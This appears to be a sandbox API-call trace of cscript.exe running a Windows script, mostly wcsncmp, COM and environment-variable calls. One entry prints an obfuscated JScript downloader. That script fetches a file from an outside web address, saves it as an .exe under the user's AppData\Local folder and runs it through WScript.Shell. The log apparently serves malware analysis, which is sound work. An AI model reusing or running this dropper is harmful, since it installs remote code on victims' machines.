	[0051.838] wcsncmp (_String1="\"type\",\"open\",\"responseBody\",\"wri", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1="type\",\"open\",\"responseBody\",\"writ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0051.838] wcsncmp (_String1="ype\",\"open\",\"responseBody\",\"write", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108
	[0051.838] wcsncmp (_String1="pe\",\"open\",\"responseBody\",\"write\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.838] wcsncmp (_String1="e\",\"open\",\"responseBody\",\"write\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.838] wcsncmp (_String1="\",\"open\",\"responseBody\",\"write\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1=",\"open\",\"responseBody\",\"write\",\"s", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.838] wcsncmp (_String1="\"open\",\"responseBody\",\"write\",\"sa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1="open\",\"responseBody\",\"write\",\"sav", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.838] wcsncmp (_String1="pen\",\"responseBody\",\"write\",\"save", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.838] wcsncmp (_String1="en\",\"responseBody\",\"write\",\"savet", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.838] wcsncmp (_String1="n\",\"responseBody\",\"write\",\"saveto", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.838] wcsncmp (_String1="\",\"responseBody\",\"write\",\"savetof", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1=",\"responseBody\",\"write\",\"savetofi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.838] wcsncmp (_String1="\"responseBody\",\"write\",\"savetofil", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1="responseBody\",\"write\",\"savetofile", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0051.838] wcsncmp (_String1="esponseBody\",\"write\",\"savetofile\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.838] wcsncmp (_String1="sponseBody\",\"write\",\"savetofile\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0051.838] wcsncmp (_String1="ponseBody\",\"write\",\"savetofile\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.838] wcsncmp (_String1="onseBody\",\"write\",\"savetofile\",\"u", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.838] wcsncmp (_String1="nseBody\",\"write\",\"savetofile\",\"ui", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.838] wcsncmp (_String1="seBody\",\"write\",\"savetofile\",\"uip", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0051.838] wcsncmp (_String1="eBody\",\"write\",\"savetofile\",\"uipt", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.838] wcsncmp (_String1="Body\",\"write\",\"savetofile\",\"uiptr", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 53
	[0051.838] wcsncmp (_String1="ody\",\"write\",\"savetofile\",\"uiptrq", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.838] wcsncmp (_String1="dy\",\"write\",\"savetofile\",\"uiptrqe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0051.838] wcsncmp (_String1="y\",\"write\",\"savetofile\",\"uiptrqev", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108
	[0051.838] wcsncmp (_String1="\",\"write\",\"savetofile\",\"uiptrqevc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1=",\"write\",\"savetofile\",\"uiptrqevcz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.838] wcsncmp (_String1="\"write\",\"savetofile\",\"uiptrqevczn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1="write\",\"savetofile\",\"uiptrqevcznm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106
	[0051.838] wcsncmp (_String1="rite\",\"savetofile\",\"uiptrqevcznmm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0051.839] wcsncmp (_String1="ite\",\"savetofile\",\"uiptrqevcznmmc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0051.839] wcsncmp (_String1="te\",\"savetofile\",\"uiptrqevcznmmcz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0051.839] wcsncmp (_String1="e\",\"savetofile\",\"uiptrqevcznmmczx", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.839] wcsncmp (_String1="\",\"savetofile\",\"uiptrqevcznmmczx\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.839] wcsncmp (_String1=",\"savetofile\",\"uiptrqevcznmmczx\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.839] wcsncmp (_String1="\"savetofile\",\"uiptrqevcznmmczx\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.839] wcsncmp (_String1="savetofile\",\"uiptrqevcznmmczx\",\"\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0051.839] wcsncmp (_String1="avetofile\",\"uiptrqevcznmmczx\",\"\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0051.839] wcsncmp (_String1="vetofile\",\"uiptrqevcznmmczx\",\"\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105
	[0051.839] wcsncmp (_String1="etofile\",\"uiptrqevcznmmczx\",\"\",\"r", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.839] wcsncmp (_String1="tofile\",\"uiptrqevcznmmczx\",\"\",\"ra", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0051.839] wcsncmp (_String1="ofile\",\"uiptrqevcznmmczx\",\"\",\"ran", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.839] wcsncmp (_String1="file\",\"uiptrqevcznmmczx\",\"\",\"rand", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 89
	[0051.839] wcsncmp (_String1="ile\",\"uiptrqevcznmmczx\",\"\",\"rando", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0051.839] wcsncmp (_String1="le\",\"uiptrqevcznmmczx\",\"\",\"random", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95
	[0051.839] wcsncmp (_String1="e\",\"uiptrqevcznmmczx\",\"\",\"random\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.839] wcsncmp (_String1="\",\"uiptrqevcznmmczx\",\"\",\"random\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.839] wcsncmp (_String1=",\"uiptrqevcznmmczx\",\"\",\"random\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.839] wcsncmp (_String1="\"uiptrqevcznmmczx\",\"\",\"random\",\"l", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.839] wcsncmp (_String1="uiptrqevcznmmczx\",\"\",\"random\",\"le", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0051.839] wcsncmp (_String1="iptrqevcznmmczx\",\"\",\"random\",\"len", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0051.839] wcsncmp (_String1="ptrqevcznmmczx\",\"\",\"random\",\"leng", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.839] wcsncmp (_String1="trqevcznmmczx\",\"\",\"random\",\"lengt", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0051.839] wcsncmp (_String1="rqevcznmmczx\",\"\",\"random\",\"length", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0051.839] wcsncmp (_String1="qevcznmmczx\",\"\",\"random\",\"length\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 100
	[0051.839] wcsncmp (_String1="evcznmmczx\",\"\",\"random\",\"length\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.839] wcsncmp (_String1="vcznmmczx\",\"\",\"random\",\"length\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105
	[0051.839] wcsncmp (_String1="cznmmczx\",\"\",\"random\",\"length\",\"f", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.839] wcsncmp (_String1="znmmczx\",\"\",\"random\",\"length\",\"fl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.839] wcsncmp (_String1="nmmczx\",\"\",\"random\",\"length\",\"flo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.839] wcsncmp (_String1="mmczx\",\"\",\"random\",\"length\",\"floo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96
	[0051.839] wcsncmp (_String1="mczx\",\"\",\"random\",\"length\",\"floor", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96
	[0051.839] wcsncmp (_String1="czx\",\"\",\"random\",\"length\",\"floor\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.839] wcsncmp (_String1="zx\",\"\",\"random\",\"length\",\"floor\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.839] wcsncmp (_String1="x\",\"\",\"random\",\"length\",\"floor\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107
	[0051.839] wcsncmp (_String1="\",\"\",\"random\",\"length\",\"floor\",\"s", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.839] wcsncmp (_String1=",\"\",\"random\",\"length\",\"floor\",\"su", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.839] SetLastError (dwErrCode=0xb) 
	[0051.839] GetLastError () returned 0xb
	[0051.840] SetLastError (dwErrCode=0xb) 
	[0051.840] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1
	[0051.840] CloseCodeAuthzLevel () returned 0x1
	[0051.841] FreeLibrary (hLibModule=0x7ffc01640000) returned 1
	[0051.841] SysStringLen (param_1="var _$_f4ba=[\"UZqicziIAc\",\"zcAuqzQcCczpwQcQqaxUr\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"rnuqQAdoZsuOqAzpaxadexZ\",\"IZvsnedoIQoIoczezvpeocxE\",\"MSXML2.XMLHTTP\",\"ADODB.Stream\",\"GET\",\"Open\",\"Send\",\"type\",\"open\",\"responseBody\",\"write\",\"savetofile\",\"uiptrqevcznmmczx\",\"\",\"random\",\"length\",\"floor\",\"substring\",\"9\",\"Process\",\"Environment\",\"WScript.Shell\",\"USERNAME\",\"C:\\\\Users\\\\\",\"\\\\AppData\\\\Local\\\\\",\"Scripting.FileSystemObject\",\"CreateFolder\",\"iQzoDoUqZz\",\"QdrdcicrsecOiDsQnAupu\",\"OQnzEOZCerIQdZQdxucDIA\",\"ndIuoazZdduaqUieQQezdiq\",\"ivUAnuUOdCaqcaxsxraQZCsI\",\"\\\\\",\"86976.exe\",\"\\\\ewowezdnav\",\"https://www.wkc.co.id/heritage58.com/js/lib/inode.jpg\",\"Sleep\",\"Wscript.Shell\",\"Exec\"];var OaQQUZDCxUAzsZn=_$_f4ba[0];var nQCZvuuuQiaIuzoz=_$_f4ba[1];var dQxnDQQvQzCDuZpaQ=_$_f4ba[2];var wIApiuaaICdzunZOva=_$_f4ba[3];var OsDqAUaaEzaaciiZazA=_$_f4ba[4];function qcvpcqaoco(_0x2878,_0x28C8){Ouezvicaiw=  new ActiveXObject(_$_f4ba[5]);peCEQzaesz=  new ActiveXObject(_$_f4ba[6]);Ouezvicaiw[_$_f4ba[8]](_$_f4ba[7],_0x2878,false);Ouezvicaiw[_$_f4ba[9]]();peCEQzaesz[_$_f4ba[10]]= 1;peCEQzaesz[_$_f4ba[11]]();peCEQzaesz[_$_f4ba[13]](Ouezvicaiw[_$_f4ba[12]]);peCEQzaesz[_$_f4ba[14]](_0x28C8,2)}function QueazpoUEq(_0x2A58){var _0x2918=_$_f4ba[15];var _0x2968=_$_f4ba[16];for(var _0x29B8=0;_0x29B8< _0x2A58;_0x29B8++){var _0x2A08=Math[_$_f4ba[19]](Math[_$_f4ba[17]]()* _0x2918[_$_f4ba[18]]);_0x2968+= _0x2918[_$_f4ba[20]](_0x2A08,_0x2A08+ 1)};return _0x2968}var UzzDZAUuQQ=QueazpoUEq(_$_f4ba[21]);environmentVars=  new ActiveXObject(_$_f4ba[24])[_$_f4ba[23]](_$_f4ba[22]);var cqiiiscEZs=environmentVars(_$_f4ba[25]);var uApZCnQQxc=_$_f4ba[26]+ cqiiiscEZs+ _$_f4ba[27]+ UzzDZAUuQQ;oFSO=  new ActiveXObject(_$_f4ba[28]);oFSO[_$_f4ba[29]](uApZCnQQxc);var iQAUiIZazE=uApZCnQQxc;var xnwOunzsEAOcCdQ=_$_f4ba[30];var EpQoACqciiZvcIvs=_$_f4ba[31];var uDOiEcOAAZQUnQDee=_$_f4ba[32];var cIQcQDUdwvxxIrcdci=_$_f4ba[33];var vzcwDiCsZccZCuQAdcc=_$_f4ba[34];var zCzaCZrZCZ=_$_f4ba[35]+ (_$_f4ba[36]);var wvDiQOnaiD=_$_f4ba[37];var QZznOEvnaI=(_$_f4ba[16]);qcvpcqaoco(_$_f4ba[38],iQAUiIZazE+ zCzaCZrZCZ);var rpcriiwDAp=iQAUiIZazE+ zCzaCZrZCZ;WScript[_$_f4ba[39]](500);var WSHELL= new ActiveXObject(_$_f4ba[40]);WSHELL[_$_f4ba[41]](rpcriiwDAp)") returned 0x88e
	[0051.841] GetCurrentThreadId () returned 0xe70
	[0051.862] CoGetObjectContext (in: riid=0x7ffbed4ca8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559e8b8 | out: ppv=0x92e559e8b8*=0x92e55fe928) returned 0x0
	[0051.888] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x7ffc01ad6e80, pUnk=0x92e5937b50, riid=0x7ffbed4ca8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x92e5937b88 | out: pdwCookie=0x92e5937b88*=0x100) returned 0x0
	[0051.888] IUnknown:AddRef (This=0x92e5937b50) returned 0x2
	[0051.888] IUnknown:QueryInterface (in: This=0x92e5937b50, riid=0x7ffc01a5eee8*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x92e559e798 | out: ppvObject=0x92e559e798*=0x0) returned 0x80004002
	[0051.888] IUnknown:AddRef (This=0x92e5937b50) returned 0x3
	[0051.888] IUnknown:QueryInterface (in: This=0x92e5937b50, riid=0x7ffc01a5eef8*(Data1=0x39, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559e698 | out: ppvObject=0x92e559e698*=0x0) returned 0x80004002
	[0051.888] IUnknown:QueryInterface (in: This=0x92e5937b50, riid=0x7ffc01a5eea8*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559e680 | out: ppvObject=0x92e559e680*=0x0) returned 0x80004002
	[0051.888] IUnknown:QueryInterface (in: This=0x92e5937b50, riid=0x7ffc01a5e4e0*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x92e559e6a0 | out: ppvObject=0x92e559e6a0*=0x0) returned 0x80004002
	[0051.888] IUnknown:QueryInterface (in: This=0x92e5937b50, riid=0x7ffc01a5e4f0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559e690 | out: ppvObject=0x92e559e690*=0x0) returned 0x80004002
	[0051.888] IUnknown:Release (This=0x92e5937b50) returned 0x2
	[0051.888] IUnknown:AddRef (This=0x92e5937b50) returned 0x3
	[0051.888] IUnknown:Release (This=0x92e5937b50) returned 0x2
	[0051.888] IUnknown:AddRef (This=0x92e55fe928) returned 0x2
	[0051.888] IUnknown:Release (This=0x92e55fe928) returned 0x1
	[0051.890] CoGetObjectContext (in: riid=0x7ffbed4ca8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559e978 | out: ppv=0x92e559e978*=0x92e55fe928) returned 0x0
	[0051.890] IUnknown:Release (This=0x92e55fe928) returned 0x1
	[0051.890] ISystemDebugEventFire:IsActive (This=0x92e561dc20) returned 0x1
	[0051.891] CoGetObjectContext (in: riid=0x7ffbed4ca8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559ea18 | out: ppv=0x92e559ea18*=0x92e55fe928) returned 0x0
	[0051.891] IUnknown:Release (This=0x92e55fe928) returned 0x1
	[0051.892] GetCurrentThreadId () returned 0xe70
	[0051.916] _ftime (_Tmb=0x92e559ada0) 
	[0051.953] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x92e559cc20 | out: lpclsid=0x92e559cc20*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0051.954] SysStringLen (param_1=0x0) returned 0x0
	[0051.954] CoGetClassObject (in: rclsid=0x92e559cc20*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed4ca788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559cbe0 | out: ppv=0x92e559cbe0*=0x92e5936bc0) returned 0x0
	[0052.357] GetVersionExA (in: lpVersionInformation=0x92e559a790*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7ffb, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x92e559a790*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0052.358] GetUserDefaultLCID () returned 0x409
	[0052.358] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x92e559a300, cchData=2 | out: lpLCData="") returned 2
	[0052.358] DllGetClassObject (in: rclsid=0x92e561c640*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x92e559c5c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559b7b0 | out: ppv=0x92e559b7b0*=0x92e5936bc0) returned 0x0
	[0052.358] WshShell:IUnknown:AddRef (This=0x92e5936bc0) returned 0x2
	[0052.358] WshShell:IUnknown:Release (This=0x92e5936bc0) returned 0x1
	[0052.358] WshShell:IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbed4ca788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559c8d8 | out: ppvObject=0x92e559c8d8*=0x92e5936bc0) returned 0x0
	[0052.358] WshShell:IUnknown:Release (This=0x92e5936bc0) returned 0x1
	[0052.358] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x92e559ca00, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
	[0052.359] _strcmpi (_Str1="\\CScript.exe", _Str2="\\wscript.exe") returned -20
	[0052.359] _strcmpi (_Str1="\\CScript.exe", _Str2="\\cscript.exe") returned 0
	[0052.359] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff7ecad0000
	[0052.359] GetProcAddress (hModule=0x7ff7ecad0000, lpProcName=0x1) returned 0x7ff7ecad1350
	[0052.359] LoadRegTypeLib (in: rguid=0x7ffbec2124b8*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x92e559cb48 | out: pptlib=0x92e559cb48*=0x92e56397f0) returned 0x0
	[0052.364] ITypeLib:GetTypeInfoOfGuid (in: This=0x92e56397f0, GUID=0x7ffbec212498*(Data1=0x41904400, Data2=0xbe18, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x8b, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x92e559cae8 | out: ppTInfo=0x92e559cae8*=0x92e563a0a8) returned 0x0
	[0052.364] ITypeInfo:GetRefTypeOfImplType (in: This=0x92e563a0a8, index=0xffffffff, pRefType=0x92e559cae0 | out: pRefType=0x92e559cae0*=0xfffffffe) returned 0x0
	[0052.364] ITypeInfo:GetRefTypeInfo (in: This=0x92e563a0a8, hreftype=0xfffffffe, ppTInfo=0x7ffbec21c1e8 | out: ppTInfo=0x7ffbec21c1e8*=0x92e563a100) returned 0x0
	[0052.364] IUnknown:Release (This=0x92e563a0a8) returned 0x1
	[0052.364] IUnknown:Release (This=0x92e56397f0) returned 0x1
	[0052.365] IUnknown:AddRef (This=0x92e563a100) returned 0x2
	[0052.365] ITypeInfo:LocalGetIDsOfNames (This=0x92e563a100) returned 0x0
	[0052.366] IUnknown:Release (This=0x92e563a100) returned 0x1
	[0052.367] IUnknown:AddRef (This=0x92e563a100) returned 0x2
	[0052.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0052.367] ITypeInfo:LocalInvoke (This=0x92e563a100) returned 0x0
	[0052.367] IUnknown:Release (This=0x92e563a100) returned 0x1
	[0052.367] LoadRegTypeLib (in: rguid=0x7ffbec2124b8*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x92e559ca78*=0x92e563a0f8 | out: pptlib=0x92e559ca78*=0x92e56397f0) returned 0x0
	[0052.368] ITypeLib:GetTypeInfoOfGuid (in: This=0x92e56397f0, GUID=0x7ffbec2123b8*(Data1=0xf935dc29, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), ppTInfo=0x92e559ca18 | out: ppTInfo=0x92e559ca18*=0x92e563a2b8) returned 0x0
	[0052.368] ITypeInfo:GetRefTypeOfImplType (in: This=0x92e563a2b8, index=0xffffffff, pRefType=0x92e559ca10 | out: pRefType=0x92e559ca10*=0xfffffffe) returned 0x0
	[0052.368] ITypeInfo:GetRefTypeInfo (in: This=0x92e563a2b8, hreftype=0xfffffffe, ppTInfo=0x7ffbec21c3a8 | out: ppTInfo=0x7ffbec21c3a8*=0x92e563a310) returned 0x0
	[0052.368] IUnknown:Release (This=0x92e563a2b8) returned 0x1
	[0052.368] IUnknown:Release (This=0x92e56397f0) returned 0x2
	[0052.368] IUnknown:AddRef (This=0x92e563a310) returned 0x2
	[0052.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0052.368] ITypeInfo:LocalInvoke (This=0x92e563a310) returned 0x0
	[0052.368] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x92e559c360, nSize=0x100 | out: lpBuffer="CIiHmnxMn6Ps") returned 0xc
	[0052.368] IUnknown:Release (This=0x92e563a310) returned 0x1
	[0052.369] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0x92e559cc20 | out: lpclsid=0x92e559cc20*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0
	[0052.369] SysStringLen (param_1=0x0) returned 0x0
	[0052.369] CoGetClassObject (in: rclsid=0x92e559cc20*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed4ca788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559cbe0 | out: ppv=0x92e559cbe0*=0x92e593d1e0) returned 0x0
	[0052.375] FileSystemObject:IUnknown:QueryInterface (in: This=0x92e593d1e0, riid=0x7ffbed4ca798*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x92e559cbe8 | out: ppvObject=0x92e559cbe8*=0x0) returned 0x80004002
	[0052.375] FileSystemObject:IClassFactory:CreateInstance (in: This=0x92e593d1e0, pUnkOuter=0x0, riid=0x7ffbed4ca8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559cbd8 | out: ppvObject=0x92e559cbd8*=0x92e593d210) returned 0x0
	[0052.375] FileSystemObject:IUnknown:Release (This=0x92e593d1e0) returned 0x0
	[0052.375] IUnknown:QueryInterface (in: This=0x92e593d210, riid=0x7ffbed4ca768*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x92e559cba0 | out: ppvObject=0x92e559cba0*=0x0) returned 0x80004002
	[0052.375] IUnknown:QueryInterface (in: This=0x92e593d210, riid=0x7ffbed4ca8d8*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x92e559cb50 | out: ppvObject=0x92e559cb50*=0x0) returned 0x80004002
	[0052.375] IUnknown:QueryInterface (in: This=0x92e593d210, riid=0x7ffbed4ca8e8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x92e559cb60 | out: ppvObject=0x92e559cb60*=0x0) returned 0x80004002
